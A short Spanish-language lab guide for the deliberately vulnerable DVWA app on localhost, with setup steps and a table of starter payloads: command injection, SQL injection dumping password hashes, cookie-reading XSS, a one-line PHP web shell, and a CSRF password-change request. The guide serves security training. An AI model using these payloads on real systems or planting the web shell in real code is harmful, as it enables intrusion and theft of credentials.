DVWA expone cada vulnerabilidad como un módulo independiente con cuatro niveles de seguridad (low, medium, high, impossible). El nivel impossible muestra el código corregido: es la referencia de remediación.
Puesta en marcha
- Abrir
http://127.0.0.1:4280e ingresar conadmin/password. - En Setup / Reset DB, pulsar Create / Reset Database.
- En DVWA Security, fijar el nivel en
lowpara comenzar.
Retos propuestos
| Módulo | Objetivo en nivel low | Payload de partida |
|---|---|---|
| Command Injection | Ejecutar un comando adicional | 127.0.0.1; id |
| SQL Injection | Listar usuarios y hashes | ' UNION SELECT user, password FROM users# |
| XSS (Reflected) | Ejecutar JavaScript | <script>alert(document.cookie)</script> |
| File Upload | Subir y ejecutar una web shell PHP | <?php system($_GET['c']); ?> |
| CSRF | Cambiar la contraseña de la víctima con un enlace | ?password_new=x&password_conf=x&Change=Change |
Repetir cada módulo en medium y high, y comparar con el código fuente (View Source) para entender qué
control se agregó y cómo se elude.